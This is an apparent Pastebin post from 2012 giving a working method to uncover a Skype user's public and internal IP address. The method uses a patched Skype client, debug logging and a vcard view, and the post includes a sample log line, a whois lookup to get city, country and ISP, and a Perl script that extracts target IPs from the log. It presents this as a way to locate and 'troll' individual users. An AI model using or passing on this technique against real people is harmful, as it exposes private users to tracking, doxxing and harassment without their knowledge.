Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Skype user IP-address disclosure

By: a guest on Apr 26th, 2012  |  syntax: None  |  size: 1.59 KB  |  views: 91,178  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. Skype user IP-address disclosure
  2.  
  3. 1. Downloading this patched version of Skype 5.5:
  4. http://skype-open-source.blogspot.com/2012/03/skype55-deobfuscated-released.html
  5.  
  6. 2. Turn on debug-log file creation via adding a few registry keys.
  7. https://github.com/skypeopensource/skypeopensource/wiki/skype-3.x-4.x-5.x-enable-logging
  8.  
  9. 3. Make "add a Skype contact" action, but not send add request, just click on user, to view his vcard(general info about user). This will be enough.
  10.  
  11. 4. Take look in the log of the desired skypename.
  12. The record will be like this for real user ip: -r195.100.213.25:31101
  13. And like this for user internal network card ip: -l172.10.5.17
  14.  
  15. 21:16:45.818 T # 3668 PresenceManager: aїљ noticing skypetestuser1 0x3e54a539a91a19fc-s-s65.55.223.23 :40013-r195 .100.213.25:31101-l172 .10.5.17:22960 23d23109 82f328ff
  16.  
  17. 5. Catch user via whois service.
  18. http://nic.ru/whois/?query=195.100.213.25
  19.  
  20. This is help you to get info about skype user: City, Country, Internet provider and internal user ip-address.
  21.  
  22. Now you can troll him about CIA and Mossad, he-he.
  23.  
  24. ---
  25. Perl script to automate the search in the debug log.
  26. ---
  27. #!perl
  28.  
  29. $LOGFILE="debug-20120420-2257.log";
  30. $SKYPENAME="skypetestuser1";
  31.  
  32. open(RD,$LOGFILE);
  33. open(WR,">_ip_logger.txt");
  34. while(<RD>){ chomp;
  35.  $line=$_;
  36.  
  37.  if( ($line=~ /PresenceManager:/) and ($line=~ /noticing/) ){
  38.   $line=~ /-r(\d+.\d+.\d+.\d+)/;
  39.   $ip=$1;
  40.  
  41.   print WR $line."\n";
  42.   print WR "IP: $ip\n";
  43.  
  44.   if ($line=~ /$SKYPENAME/){
  45.    print $line."\n";
  46.    print "${SKYPENAME} IP: $ip\n";
  47.   };
  48.  };
  49.  
  50. };
  51. close(RD);
  52. close(WR);
  53. ---